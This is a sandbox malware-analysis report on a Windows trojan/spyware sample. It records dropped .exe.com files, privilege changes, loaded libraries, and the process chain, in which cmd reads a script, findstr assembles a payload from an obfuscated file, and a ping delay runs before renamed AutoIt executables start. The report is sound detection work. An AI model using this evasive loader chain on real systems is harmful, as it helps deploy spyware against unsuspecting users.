Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A723F5	7_2_00A723F5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AD8400	7_2_00AD8400
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A86502	7_2_00A86502
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A5E6F0	7_2_00A5E6F0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A8265E	7_2_00A8265E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7282A	7_2_00A7282A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A889BF	7_2_00A889BF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AD0A3A	7_2_00AD0A3A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A86A74	7_2_00A86A74
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A60BE0	7_2_00A60BE0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AAEDB2	7_2_00AAEDB2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7CD51	7_2_00A7CD51
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AD0EB7	7_2_00AD0EB7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB8E44	7_2_00AB8E44
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A86FE6	7_2_00A86FE6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A733B7	7_2_00A733B7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7F409	7_2_00A7F409
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A6D45D	7_2_00A6D45D
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A5F6A0	7_2_00A5F6A0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A716B4	7_2_00A716B4
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A6F628	7_2_00A6F628
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A51663	7_2_00A51663
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A778C3	7_2_00A778C3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7DBA5	7_2_00A7DBA5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A71BA8	7_2_00A71BA8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A89CE5	7_2_00A89CE5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A6DD28	7_2_00A6DD28
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A71FC0	7_2_00A71FC0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7BFD6	7_2_00A7BFD6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003DB020	11_2_003DB020
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003D94E0	11_2_003D94E0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003D9C80	11_2_003D9C80
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F23F5	11_2_003F23F5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00458400	11_2_00458400
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00406502	11_2_00406502
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0040265E	11_2_0040265E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003DE6F0	11_2_003DE6F0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F282A	11_2_003F282A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_004089BF	11_2_004089BF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00406A74	11_2_00406A74
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00450A3A	11_2_00450A3A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003E0BE0	11_2_003E0BE0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FCD51	11_2_003FCD51
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0042EDB2	11_2_0042EDB2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00438E44	11_2_00438E44
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00450EB7	11_2_00450EB7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00406FE6	11_2_00406FE6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F33B7	11_2_003F33B7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FF409	11_2_003FF409
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003ED45D	11_2_003ED45D
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003EF628	11_2_003EF628
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003D1663	11_2_003D1663
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F16B4	11_2_003F16B4
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003DF6A0	11_2_003DF6A0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F78C3	11_2_003F78C3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F1BA8	11_2_003F1BA8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FDBA5	11_2_003FDBA5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00409CE5	11_2_00409CE5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003EDD28	11_2_003EDD28
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FBFD6	11_2_003FBFD6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F1FC0	11_2_003F1FC0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: String function: 00A70D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: String function: 00A61A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: String function: 00A78B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: String function: 00788B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: String function: 00771A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: String function: 00780D17 appears 70 times
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: String function: 0040346A appears 45 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: String function: 003E1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: String function: 003F0D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: String function: 003F8B30 appears 42 times

Source: Tt843YGUx5.exe, 00000000.00000002.2108031796.0000000000571000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Tt843YGUx5.exe
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs Tt843YGUx5.exe

Source: Tt843YGUx5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Tt843YGUx5.exe, 00000000.00000002.2108031796.000000000051E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBP)T

Source: classification engine

Classification label: mal80.troj.spyw.evad.winEXE@26/14@3/1

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_00408E97 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

0_2_00408E97

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007B8DE9 AdjustTokenPrivileges,CloseHandle,	5_2_007B8DE9
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007B9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	5_2_007B9399
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AA8DE9 AdjustTokenPrivileges,CloseHandle,	7_2_00AA8DE9
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AA9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	7_2_00AA9399
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00428DE9 AdjustTokenPrivileges,CloseHandle,	11_2_00428DE9
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00429399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00429399

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_00401268 GetDiskFreeSpaceExW,SendMessageW,

0_2_00401268

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007C4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

5_2_007C4148

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_00408906 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

0_2_00408906

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_0040220D GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,GetProcAddress,GetProcAddress,wsprintfW,GetProcAddress,

0_2_0040220D

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000

Jump to behavior

Source: Tt843YGUx5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Tt843YGUx5.exe	Virustotal: Detection: 31%
Source: Tt843YGUx5.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

File read: C:\Users\user\Desktop\Tt843YGUx5.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Tt843YGUx5.exe "C:\Users\user\Desktop\Tt843YGUx5.exe"
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd < Seminato.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com Inebriarti.exe.com A
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com Bonta.exe.com m
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com A
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com Pensiero.exe.com E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com E
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd < Seminato.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com Inebriarti.exe.com A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com Bonta.exe.com m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com Pensiero.exe.com E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com m	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com E	Jump to behavior

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: wshbth.dll	Jump to behavior
